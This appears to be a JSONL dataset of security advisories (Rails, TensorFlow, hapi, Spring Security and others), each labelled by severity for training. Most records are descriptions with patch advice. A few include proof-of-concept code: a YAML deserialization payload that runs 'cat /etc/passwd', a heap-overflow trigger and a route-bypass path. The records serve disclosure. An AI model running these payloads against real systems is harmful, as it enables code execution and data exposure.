-{"id": "b0f57371bfc74f67ccce", "text": "XSS in Action View\n\nThere is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the `t` and `translate` helpers could be susceptible to XSS attacks.\n\n### Impact\n\nWhen an HTML-unsafe string is passed as the default for a missing translation key [named `html` or ending in `_html`](https://guides.rubyonrails.org/i18n.html#using-safe-html-translations), the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:\n\n```erb\n<%# The welcome_html translation is not defined for the current locale: %>\n<%= t(\"welcome_html\", default: untrusted_user_controlled_string) %>\n\n<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>\n<%= t(\"title.html\", default: [:\"missing.html\", untrusted_user_controlled_string]) %>\n```\n\n### Patches\n\nPatched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.\n\nThe patches have also been applied to the `master`, `6-0-stable`, and `5-2-stable` branches on GitHub. If you track any of these branches, you should update to the latest.\n\nTo aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* [5-2-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-5-2-translate-helper-xss-patch) — patch for the 5.2 release series\n* [6-0-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-6-0-translate-helper-xss-patch) — patch for the 6.0 release series\n\nPlease note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.\n\n### Workarounds\n\nImpacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the `html_escape` helper (aliased as `h`):\n\n```erb\n<%= t(\"welcome_html\", default: h(untrusted_user_controlled_string)) %>\n```", "text_raw": "XSS in Action View\n\n[Severity: MEDIUM]\n\nThere is a potential Cross-Site Scripting (XSS) vulnerability in Action View's translation helpers. Views that allow the user to control the default (not found) value of the `t` and `translate` helpers could be susceptible to XSS attacks.\n\n### Impact\n\nWhen an HTML-unsafe string is passed as the default for a missing translation key [named `html` or ending in `_html`](https://guides.rubyonrails.org/i18n.html#using-safe-html-translations), the default string is incorrectly marked as HTML-safe and not escaped. Vulnerable code may look like the following examples:\n\n```erb\n<%# The welcome_html translation is not defined for the current locale: %>\n<%= t(\"welcome_html\", default: untrusted_user_controlled_string) %>\n\n<%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>\n<%= t(\"title.html\", default: [:\"missing.html\", untrusted_user_controlled_string]) %>\n```\n\n### Patches\n\nPatched Rails versions, 6.0.3.3 and 5.2.4.4, are available from the normal locations.\n\nThe patches have also been applied to the `master`, `6-0-stable`, and `5-2-stable` branches on GitHub. If you track any of these branches, you should update to the latest.\n\nTo aid users who aren’t able to upgrade immediately, we’ve provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* [5-2-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-5-2-translate-helper-xss-patch) — patch for the 5.2 release series\n* [6-0-translate-helper-xss.patch](https://gist.github.com/georgeclaghorn/a466e103922ee81f24c32c9034089442#file-6-0-translate-helper-xss-patch) — patch for the 6.0 release series\n\nPlease note that only the 5.2 and 6.0 release series are currently supported. Users of earlier, unsupported releases are advised to update as soon as possible, as we cannot provide security fixes for unsupported releases.\n\n### Workarounds\n\nImpacted users who can’t upgrade to a patched Rails version can avoid this issue by manually escaping default translations with the `html_escape` helper (aliased as `h`):\n\n```erb\n<%= t(\"welcome_html\", default: h(untrusted_user_controlled_string)) %>\n```", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "6056a5e10cb437cf3284", "text": "Route Validation Bypass in call\n\nAffected versions of `call` do not validate empty parameters, which may result in a bypass of route validation rules.\n\n## Proof of Concept\n\nRouting Scheme:\n```\n/api/{param}/{param2}/details\n```\nTriggering Request Path:\n```\n/api///\n```\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.", "text_raw": "Route Validation Bypass in call\n\n[Severity: MEDIUM]\n\nAffected versions of `call` do not validate empty parameters, which may result in a bypass of route validation rules. \n\n## Proof of Concept\n\nRouting Scheme:\n```\n/api/{param}/{param2}/details\n```\nTriggering Request Path:\n```\n/api///\n```\n\n\n## Recommendation\n\nUpdate to version 3.0.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "1cb32588622efb8f9096", "text": "Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS", "text_raw": "Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-01-28", "split": "train"}
-{"id": "13f6bd14f4e4568ebb53", "text": "Elliptic Curve Key Disclosure\n\nAffected versions of the package are vulnerable to Elliptic Curve Key Disclosure.", "text_raw": "Elliptic Curve Key Disclosure\n\n[Severity: HIGH]\n\nAffected versions of the package are vulnerable to Elliptic Curve Key Disclosure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "6bf9cc2c509f4cd40e8b", "text": "Open Redirect in oauth2_proxy\n\nThe Bitly oauth2_proxy in version 2.1 and earlier was affected by an open redirect vulnerability during the start and termination of the 2-legged OAuth flow. This issue was caused by improper input validation and a violation of RFC-6819", "text_raw": "Open Redirect in oauth2_proxy\n\n[Severity: MEDIUM]\n\nThe Bitly oauth2_proxy in version 2.1 and earlier was affected by an open redirect vulnerability during the start and termination of the 2-legged OAuth flow. This issue was caused by improper input validation and a violation of RFC-6819", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "7771dded6bfbc2630760", "text": "Timing attacks might allow practical recovery of the long-term private key\n\nIn elliptic-php versions priot to 1.0.6, Timing attacks might be possible which can result in practical recovery of the long-term private key generated by the library under certain conditions. Leakage of a bit-length of the scalar during scalar multiplication is possible on an elliptic curve which might allow practical recovery of the long-term private key.", "text_raw": "Timing attacks might allow practical recovery of the long-term private key\n\n[Severity: HIGH]\n\nIn elliptic-php versions priot to 1.0.6, Timing attacks might be possible which can result in practical recovery of the long-term private key generated by the library under certain conditions. Leakage of a bit-length of the scalar during scalar multiplication is possible on an elliptic curve which might allow practical recovery of the long-term private key.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "8f28319b625d2528511d", "text": "# Microsoft Security Advisory CVE-2019-1301: Denial of Service Vulnerability in PowerShell Core\n\n## Executive Summary\n\nA denial of service vulnerability exists when PowerShell Core or .NET Core improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against a PowerShell Core scripts.\n\nThe update addresses the vulnerability by correcting how the .NET Core handles web requests.\n\nSystem administrators are advised to update PowerShell Core to an unaffected version (see [affected software](#user-content-affected-software).)\n\n## Discussion\n\nPlease [open a support question](https://github.com/PowerShell/PowerShell/issues/new?assignees=&labels=Issue-Question&template=Support_Question.md&title=Support+Question) to discussion the PowerShell aspects of this advisory.\nPlease use dotnet/announcements#121 for discussion of the .NET aspects this advisory.\n\n## <a name=\"affected-software\">Affected Software</a>\n\nThe vulnerability affects PowerShell Core prior to the following versions:\n\n| PowerShell Core Version | Fixed in          |\n|-------------------------|-------------------|\n| 6.1                     | 6.1.6               |\n| 6.2                     | 6.2.3               |\n| 7.0                     | unaffected               |\n|5                      | unaffected   |\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nIf all of the following are true:\n\n1. Run `pwsh -v`, then, check the version in the table in [Affected Software](#user-content-affected-software) to see if your version of PowerShell Core is affected.\n1. If you are running a version of PowerShell Core where the executable is not `pwsh` or `pwsh.exe`, then you are affected.  This only existed for preview version of `6.0`.\n\n### How do I update to an unaffected version?\n\nFollow the instructions at [Installing PowerShell Core](https://docs.microsoft.com/en-us/powershell/scripting/setup/installing-powershell?view=powershell-6) to install the latest version of PowerShell Core.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in PowerShell Core,\nplease email details to secure@microsoft.com.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the PowerShell organization.\nThis is located at https://github.com/PowerShell/.\nThe Announcements repo (https://github.com/PowerShell/Announcements)\nwill contain this bulletin as an issue and will include a link to a discussion issue where you can ask questions.\n\n### What if the update breaks my script or module?\n\nYou can uninstall the newer version of PowerShell Core and install the previous version of PowerShell Core.\nThis should be treated as a temporary measure.\nTherefore, the script or module should be updated to work with the patched version of PowerShell Core.\n\n### Acknowledgments\n\nPaul Ryman of VMware Sydney Engineering Team\n\nMicrosoft recognizes the efforts of those in the security community who help us protect customers through coordinated vulnerability disclosure.\n\nSee [acknowledgments](https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments) for more information.\n\n### External Links\n\n[CVE-2019-1301](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1301)", "text_raw": "High severity vulnerability that affects System.Management.Automation\n\n[Severity: HIGH]\n\n# Microsoft Security Advisory CVE-2019-1301: Denial of Service Vulnerability in PowerShell Core\n\n## Executive Summary\n\nA denial of service vulnerability exists when PowerShell Core or .NET Core improperly handles web requests. An attacker who successfully exploited this vulnerability could cause a denial of service against a PowerShell Core scripts.\n\nThe update addresses the vulnerability by correcting how the .NET Core handles web requests.\n\nSystem administrators are advised to update PowerShell Core to an unaffected version (see [affected software](#user-content-affected-software).)\n\n\n## Discussion\n\nPlease [open a support question](https://github.com/PowerShell/PowerShell/issues/new?assignees=&labels=Issue-Question&template=Support_Question.md&title=Support+Question) to discussion the PowerShell aspects of this advisory.\nPlease use dotnet/announcements#121 for discussion of the .NET aspects this advisory.\n\n## <a name=\"affected-software\">Affected Software</a>\n\nThe vulnerability affects PowerShell Core prior to the following versions:\n\n\n| PowerShell Core Version | Fixed in          |\n|-------------------------|-------------------|\n| 6.1                     | 6.1.6               |\n| 6.2                     | 6.2.3               |\n| 7.0                     | unaffected               |\n|5                      | unaffected   |\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nIf all of the following are true:\n\n1. Run `pwsh -v`, then, check the version in the table in [Affected Software](#user-content-affected-software) to see if your version of PowerShell Core is affected.\n1. If you are running a version of PowerShell Core where the executable is not `pwsh` or `pwsh.exe`, then you are affected.  This only existed for preview version of `6.0`.\n\n### How do I update to an unaffected version?\n\nFollow the instructions at [Installing PowerShell Core](https://docs.microsoft.com/en-us/powershell/scripting/setup/installing-powershell?view=powershell-6) to install the latest version of PowerShell Core.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in PowerShell Core,\nplease email details to secure@microsoft.com.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the PowerShell organization.\nThis is located at https://github.com/PowerShell/.\nThe Announcements repo (https://github.com/PowerShell/Announcements)\nwill contain this bulletin as an issue and will include a link to a discussion issue where you can ask questions.\n\n### What if the update breaks my script or module?\n\nYou can uninstall the newer version of PowerShell Core and install the previous version of PowerShell Core.\nThis should be treated as a temporary measure.\nTherefore, the script or module should be updated to work with the patched version of PowerShell Core.\n\n### Acknowledgments\n\nPaul Ryman of VMware Sydney Engineering Team\n\nMicrosoft recognizes the efforts of those in the security community who help us protect customers through coordinated vulnerability disclosure.\n\nSee [acknowledgments](https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments) for more information.\n\n### External Links\n\n[CVE-2019-1301](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1301)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-13", "split": "train"}
-{"id": "335ba7e9565cbc45c8cf", "text": "phpThumb() v1.7.11 (dir & title) Cross-Site Scripting Vulnerability", "text_raw": "phpThumb() v1.7.11 (dir & title) Cross-Site Scripting Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2012-05-16", "split": "train"}
-{"id": "99d78580e7d699a792f4", "text": "Remote code execution in ruby-jss\n\nThe Pixar ruby-jss gem before 1.6.0 allows remote attackers to execute arbitrary code because of the Plist gem's documented behavior of using Marshal.load during XML document processing.", "text_raw": "Remote code execution in ruby-jss\n\n[Severity: CRITICAL]\n\nThe Pixar ruby-jss gem before 1.6.0 allows remote attackers to execute arbitrary code because of the Plist gem's documented behavior of using Marshal.load during XML document processing.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "7d0ccde85a045ed16c00", "text": "Regular Expression Denial of Service in timespan\n\nAffected versions of `timespan` are vulnerable to a regular expression denial of service when parsing dates.\n\nThe amplification for this vulnerability is significant, with 50,000 characters resulting in the event loop being blocked for around 10 seconds.\n\n## Recommendation\n\nNo direct patch is available for this vulnerability.\n\nCurrently, the best available solution is to use a functionally equivalent alternative package.\n\nIt is also sufficient to ensure that user input is not being passed into `timespan`, or that the maximum length of such user input is drastically reduced. Limiting the input length to 150 characters should be sufficient in most cases.", "text_raw": "Regular Expression Denial of Service in timespan\n\n[Severity: HIGH]\n\nAffected versions of `timespan` are vulnerable to a regular expression denial of service when parsing dates.\n\nThe amplification for this vulnerability is significant, with 50,000 characters resulting in the event loop being blocked for around 10 seconds.\n\n\n## Recommendation\n\nNo direct patch is available for this vulnerability.\n\nCurrently, the best available solution is to use a functionally equivalent alternative package.\n\nIt is also sufficient to ensure that user input is not being passed into `timespan`, or that the maximum length of such user input is drastically reduced. Limiting the input length to 150 characters should be sufficient in most cases.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "b3f07762d55449f202f0", "text": "Access to invalid memory during shape inference in `Cudnn*` ops\n\n### Impact\nThe [shape inference code](https://github.com/tensorflow/tensorflow/blob/9ff27787893f76d6971dcd1552eb5270d254f31b/tensorflow/core/ops/cudnn_rnn_ops.cc) for the `Cudnn*` operations in TensorFlow can be tricked into accessing invalid memory, via a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.CudnnRNNV3(\n    input=[0.1, 0.1],\n    input_h=[0.5],\n    input_c=[0.1, 0.1, 0.1], \n    params=[0.5, 0.5],\n    sequence_lengths=[-1, 0, 1])\n\nfunc() \n```\n\nThis occurs because the ranks of the `input`, `input_h` and `input_c` parameters are not validated, but code assumes they have certain values:\n\n```cc\nauto input_shape = c->input(0);\nauto input_h_shape = c->input(1);\nauto seq_length = c->Dim(input_shape, 0);\nauto batch_size = c->Dim(input_shape, 1);  // assumes rank >= 2\nauto num_units = c->Dim(input_h_shape, 2); // assumes rank >= 3\n```\n\n### Patches\nWe have patched the issue in GitHub commit [af5fcebb37c8b5d71c237f4e59c6477015c78ce6](https://github.com/tensorflow/tensorflow/commit/af5fcebb37c8b5d71c237f4e59c6477015c78ce6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Access to invalid memory during shape inference in `Cudnn*` ops\n\n[Severity: HIGH]\n\n### Impact\nThe [shape inference code](https://github.com/tensorflow/tensorflow/blob/9ff27787893f76d6971dcd1552eb5270d254f31b/tensorflow/core/ops/cudnn_rnn_ops.cc) for the `Cudnn*` operations in TensorFlow can be tricked into accessing invalid memory, via a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.CudnnRNNV3(\n    input=[0.1, 0.1],\n    input_h=[0.5],\n    input_c=[0.1, 0.1, 0.1], \n    params=[0.5, 0.5],\n    sequence_lengths=[-1, 0, 1])\n  \nfunc() \n```\n  \nThis occurs because the ranks of the `input`, `input_h` and `input_c` parameters are not validated, but code assumes they have certain values:\n\n```cc\nauto input_shape = c->input(0);\nauto input_h_shape = c->input(1);\nauto seq_length = c->Dim(input_shape, 0);\nauto batch_size = c->Dim(input_shape, 1);  // assumes rank >= 2\nauto num_units = c->Dim(input_h_shape, 2); // assumes rank >= 3\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [af5fcebb37c8b5d71c237f4e59c6477015c78ce6](https://github.com/tensorflow/tensorflow/commit/af5fcebb37c8b5d71c237f4e59c6477015c78ce6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "8b694632bb40db11d095", "text": "Null pointer deference in av-data\n\nAn issue was discovered in the av-data crate before 0.3.0 for Rust. A raw pointer is dereferenced, leading to a read of an arbitrary memory address, sometimes causing a segfault.", "text_raw": "Null pointer deference in av-data\n\n[Severity: HIGH]\n\nAn issue was discovered in the av-data crate before 0.3.0 for Rust. A raw pointer is dereferenced, leading to a read of an arbitrary memory address, sometimes causing a segfault.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c773388300111d35e883", "text": "Permissions bypass in pleaser\n\npleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.", "text_raw": "Permissions bypass in pleaser\n\n[Severity: HIGH]\n\npleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "621d72a84b3cf95e4a2b", "text": "Calipso Arbitrary File Write via Archive Extraction (Zip Slip)\n\nThis affects all versions of package calipso. It is possible for a malicious module to overwrite files on an arbitrary file system through the module install functionality.", "text_raw": "Calipso Arbitrary File Write via Archive Extraction (Zip Slip)\n\n[Severity: HIGH]\n\nThis affects all versions of package calipso. It is possible for a malicious module to overwrite files on an arbitrary file system through the module install functionality.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "f443c744748c76c9966b", "text": "Improper Handling of Length Parameter Inconsistency in Apache Ant\n\nWhen reading a specially crafted ZIP archive, or a derived formats, an Apache Ant build can be made to allocate large amounts of memory that leads to an out of memory error, even for small inputs. This can be used to disrupt builds using Apache Ant. Commonly used derived formats from ZIP archives are for instance JAR files and many office files. Apache Ant prior to 1.9.16 and 1.10.11 were affected.", "text_raw": "Improper Handling of Length Parameter Inconsistency in Apache Ant\n\n[Severity: MEDIUM]\n\nWhen reading a specially crafted ZIP archive, or a derived formats, an Apache Ant build can be made to allocate large amounts of memory that leads to an out of memory error, even for small inputs. This can be used to disrupt builds using Apache Ant. Commonly used derived formats from ZIP archives are for instance JAR files and many office files. Apache Ant prior to 1.9.16 and 1.10.11 were affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "583a2bedf8ffd018646b", "text": "Signature wrapping vulnerability in Spring Security\n\nSpring Security versions 5.2.x prior to 5.2.4 and 5.3.x prior to 5.3.2 contain a signature wrapping vulnerability during SAML response validation. When using the spring-security-saml2-service-provider component, a malicious user can carefully modify an otherwise valid SAML response and append an arbitrary assertion that Spring Security will accept as valid.", "text_raw": "Signature wrapping vulnerability in Spring Security\n\n[Severity: HIGH]\n\nSpring Security versions 5.2.x prior to 5.2.4 and 5.3.x prior to 5.3.2 contain a signature wrapping vulnerability during SAML response validation. When using the spring-security-saml2-service-provider component, a malicious user can carefully modify an otherwise valid SAML response and append an arbitrary assertion that Spring Security will accept as valid.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "2bc015000c37a4c116ac", "text": "Unexpected database bindings\n\nThis is a follow-up to the previous security advisory (GHSA-3p32-j457-pg5x) which addresses a few additional edge cases.\n\nIf a request is crafted where a field that is normally a non-array value is an array, and that input is not validated or cast to its expected type before being passed to the query builder, an unexpected number of query bindings can be added to the query. In some situations, this will simply lead to no results being returned by the query builder; however, it is possible certain queries could be affected in a way that causes the query to return unexpected results.", "text_raw": "Unexpected database bindings\n\n[Severity: HIGH]\n\nThis is a follow-up to the previous security advisory (GHSA-3p32-j457-pg5x) which addresses a few additional edge cases.\n\nIf a request is crafted where a field that is normally a non-array value is an array, and that input is not validated or cast to its expected type before being passed to the query builder, an unexpected number of query bindings can be added to the query. In some situations, this will simply lead to no results being returned by the query builder; however, it is possible certain queries could be affected in a way that causes the query to return unexpected results.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "84fe267445b6b66f57e1", "text": "Deserialization of Untrusted Data in Flask-Caching\n\nFlask-Cache adds easy cache support to Flask. The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains access to cache storage (e.g., filesystem, Memcached, Redis, etc.), they can construct a crafted payload, poison the cache, and execute Python code.\n\n1. Be able to write arbitrary values to the cache\n2. Be able to generate a cache key that will collide with a value being read by the application\n3. Cause the application to read a maliciously-injected value\n\nAny situation where all 3 of those is true is a situation where the application has larger problems; for example, if someone's able to inject malicious cached rendered pages into a Flask app's cache, then they can make the website say literally anything they want, regardless of whether it involves the execution of remote code. Basically, the Pickle vulnerability follows from a website already being extremely vulnerable (due to conditions 1 and 2 being met).", "text_raw": "Deserialization of Untrusted Data in Flask-Caching\n\n[Severity: MEDIUM]\n\nFlask-Cache adds easy cache support to Flask. The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains access to cache storage (e.g., filesystem, Memcached, Redis, etc.), they can construct a crafted payload, poison the cache, and execute Python code.\n\nHowever, this is not a high-severity issue, as for an attack like this to work, an attacker must:\n\n1. Be able to write arbitrary values to the cache\n2. Be able to generate a cache key that will collide with a value being read by the application\n3. Cause the application to read a maliciously-injected value\n\nAny situation where all 3 of those is true is a situation where the application has larger problems; for example, if someone's able to inject malicious cached rendered pages into a Flask app's cache, then they can make the website say literally anything they want, regardless of whether it involves the execution of remote code. Basically, the Pickle vulnerability follows from a website already being extremely vulnerable (due to conditions 1 and 2 being met).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "6d3bc2093e3b43ccf43c", "text": "Arbitrary code execution due to YAML deserialization\n\n### Impact\nTensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.\n\n```python\nfrom tensorflow.keras import models\n\npayload = '''\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n'''\n\nmodels.model_from_yaml(payload)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/python/keras/saving/model_config.py#L66-L104) uses `yaml.unsafe_load` which can perform arbitrary code execution on the input.\n\n### Patches\nGiven that YAML format support requires a significant amount of work, we have removed it for now.\n\nWe have patched the issue in GitHub commit [23d6383eb6c14084a8fc3bdf164043b974818012](https://github.com/tensorflow/tensorflow/commit/23d6383eb6c14084a8fc3bdf164043b974818012).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Arjun Shibu.", "text_raw": "Arbitrary code execution due to YAML deserialization\n\n[Severity: HIGH]\n\n### Impact\nTensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.\n\n```python\nfrom tensorflow.keras import models\n\npayload = '''\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n'''\n  \nmodels.model_from_yaml(payload)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/python/keras/saving/model_config.py#L66-L104) uses `yaml.unsafe_load` which can perform arbitrary code execution on the input.\n\n### Patches\nGiven that YAML format support requires a significant amount of work, we have removed it for now.\n\nWe have patched the issue in GitHub commit [23d6383eb6c14084a8fc3bdf164043b974818012](https://github.com/tensorflow/tensorflow/commit/23d6383eb6c14084a8fc3bdf164043b974818012).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Arjun Shibu.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ba64c5e3f39ffd003edf", "text": "Insufficient Entropy in cryptiles\n\nVersions of `cryptiles` prior to 4.1.2 are vulnerable to Insufficient Entropy. The `randomDigits()` method does not provide sufficient entropy and its generates digits that are not evenly distributed.\n\n## Recommendation\n\nUpgrade to version 4.1.2. The package is deprecated and has been moved to `@hapi/cryptiles` and it is strongly recommended to use the maintained package.", "text_raw": "Insufficient Entropy in cryptiles\n\n[Severity: CRITICAL]\n\nVersions of `cryptiles` prior to 4.1.2 are vulnerable to Insufficient Entropy. The `randomDigits()` method does not provide sufficient entropy and its generates digits that are not evenly distributed.\n\n\n## Recommendation\n\nUpgrade to version 4.1.2. The package is deprecated and has been moved to `@hapi/cryptiles` and it is strongly recommended to use the maintained package.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-11", "split": "train"}
-{"id": "013d307a3e837ef82595", "text": "Inline attribute values were not processed.\n\n### Impact\nInline attributes have not been processed escape.\nIf the data that came from users was not processed, then an XSS vulnerability is possible\n\n### Patches\nFixed in 9.4.4", "text_raw": "Inline attribute values were not processed.\n\n[Severity: HIGH]\n\n### Impact\nInline attributes have not been processed escape.\nIf the data that came from users was not processed, then an XSS vulnerability is possible\n\n### Patches\nFixed in 9.4.4", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "959e9adaa64edacb9909", "text": "Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability\n\nAffected: Microsoft Enhanced Cryptographic Provider\n\nMicrosoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability\n\nAffected: Microsoft Enhanced Cryptographic Provider\n\nMicrosoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3ef76aa973ae1371c39d", "text": "Zenario CMS 7.0.7c Remote Code Execution Vulnerability", "text_raw": "Zenario CMS 7.0.7c Remote Code Execution Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-11-17", "split": "train"}
-{"id": "8d715aef0430a0b080df", "text": "class.upload.php in verot.net omits .pht from the set of dangerous file extensions\n\nclass.upload.php in verot.net class.upload through 1.0.3 and 2.x through 2.0.4, as used in the K2 extension for Joomla! and other products, omits .pht from the set of dangerous file extensions, a similar issue to CVE-2019-19576.", "text_raw": "class.upload.php in verot.net omits .pht from the set of dangerous file extensions\n\n[Severity: CRITICAL]\n\nclass.upload.php in verot.net class.upload through 1.0.3 and 2.x through 2.0.4, as used in the K2 extension for Joomla! and other products, omits .pht from the set of dangerous file extensions, a similar issue to CVE-2019-19576.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-28", "split": "train"}
-{"id": "79ff23f22f9dbec1da6d", "text": "Denial of Service in @hapi/hapi\n\nVersions of `@hapi/hapi` prior to 18.4.1 or 19.1.1 are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to versions 18.4.1, 19.1.1 or later.", "text_raw": "Denial of Service in @hapi/hapi\n\n[Severity: HIGH]\n\nVersions of `@hapi/hapi` prior to 18.4.1 or 19.1.1 are vulnerable to Denial of Service. The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to versions 18.4.1, 19.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
